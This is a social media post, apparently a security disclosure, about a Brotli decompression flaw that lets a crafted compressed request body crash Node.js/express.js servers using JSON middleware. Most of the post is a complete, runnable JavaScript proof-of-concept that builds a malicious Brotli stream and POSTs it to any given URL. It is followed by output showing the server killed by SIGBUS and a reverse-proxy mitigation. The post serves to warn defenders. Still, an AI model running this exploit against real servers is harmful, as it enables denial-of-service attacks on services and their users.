home.social

Search

1 results for “bitdrifter”

  1. RE: feed.yopp.me/@alex/11747936545

    Well, bad news everyone. Time to shutdown your #nodejs

    At least express.js will happily try to unpack #brotli compressed request body, when .json middleware is enabled:

    Minimal app:

    const express = require('express');
    const app = express();

    app.use(express.json());

    app.listen(3000, '127.0.0.1');

    Very blunt port of gen_stream.py and server.py from bugzilla.mozilla.org/show_bug.

    const http = require('node:http');

    class BitWriter {
    constructor(size) {
    this.buf = Buffer.alloc(size);
    this.pos = 0;
    }

    write(value, n) {
    for (let i = 0; i < n; i++, this.pos++) {
    this.buf[this.pos >>> 3] |= ((value >>> i) & 1) << (this.pos & 7);
    }
    }

    write_varlen_uint8(value) {
    if (value === 0) return this.write(0, 1);
    this.write(1, 1);

    if (value === 1) return this.write(0, 3);
    const bits = 31 - Math.clz32(value);
    this.write(bits, 3);
    this.write(value - (1 << bits), bits);
    };

    write_simple_huffman_1sym(alphabet, value) {
    this.write(1, 2);
    this.write(0, 2);
    this.write(value, 32 - Math.clz32(alphabet - 1));
    };
    }

    function genStream() {
    const num_cmds = 1 << 24; // 16,777,216 cmds
    const body = new BitWriter(Math.ceil((num_cmds * 11 + 512) / 8) + 3);

    // header
    body.write(1, 1); body.write(0, 3); body.write(2, 3);
    body.write(0, 1); body.write(2, 2); body.write(0xffffff, 24); body.write(0, 1);
    body.write_varlen_uint8(0); body.write_varlen_uint8(1);
    body.write_simple_huffman_1sym(4, 0); body.write_simple_huffman_1sym(26, 25);
    body.write(0xffffff, 24);
    body.write_varlen_uint8(0);
    body.write(3, 6); body.write(0, 2);
    body.write_varlen_uint8(0); body.write_varlen_uint8(0);
    body.write_simple_huffman_1sym(256, 0);
    body.write_simple_huffman_1sym(704, 130); body.write_simple_huffman_1sym(704, 130);
    body.write_simple_huffman_1sym(400, 184);

    let count = 0;
    while (body.pos % 8) {
    body.write(4, 11);
    count++;
    }

    // command chunks
    const chunk = new BitWriter(11);
    for (let i = 0; i < 8; i++) chunk.write(4, 11);

    const repeats = Math.floor((num_cmds - count) / 8);
    const start = body.pos / 8;
    body.buf.fill(chunk.buf, start, start + repeats * 11);
    body.pos += repeats * 88;
    count += repeats * 8;
    while (count++ < num_cmds) body.write(4, 11);

    return body.buf.subarray(0, Math.ceil(body.pos / 8) + 3);
    }

    function genTail() {
    // chunk2
    const buf = Buffer.alloc(127);
    buf[7] = 8;
    buf.writeInt32LE(0x10000000, 15);
    buf.writeInt32LE(0x7fffffff, 19);
    buf.writeInt32LE(0x7fffffff, 23);
    return buf;
    }

    const arg = process.argv[2];
    if (!arg) {
    process.exit(2);
    }

    const url = new URL(arg);

    const req = http.request(url, {
    method: 'POST',
    headers: {
    'content-type': 'application/json',
    'content-encoding': 'br',
    'transfer-encoding': 'chunked',
    },
    }, res => {
    console.error(`probably not worked: got http ${res.statusCode}, not socket hang up`);
    res.pipe(process.stdout);
    });

    req.on('error', error => {
    if (error.message === "socket hang up") {
    console.log("probably worked: socket hang up.")
    } else {
    console.error(`err: ${error.message}`);
    process.exitCode = 1;
    }
    });

    req.write(genStream())
    req.end(genTail())

    aaaand result is:

    node server.js &`
    node poc.js http://127.0.0.1/`
    'node server.js' terminated by signal SIGBUS (Misaligned address error)`

    Somewhat good news: implementation from bugzilla ticket requires sending 20Mb.

    Could it be it smaller? No idea.
    Are any other http server packages affected? No idea

    Probably, more-or-less universal mitigation is to put reverse proxy in front of your nodejs app and either reject br encoding right away or do decoding in proxy itself.

    #CVE #Security

Share on Mastodon

Enter the server where you have an account.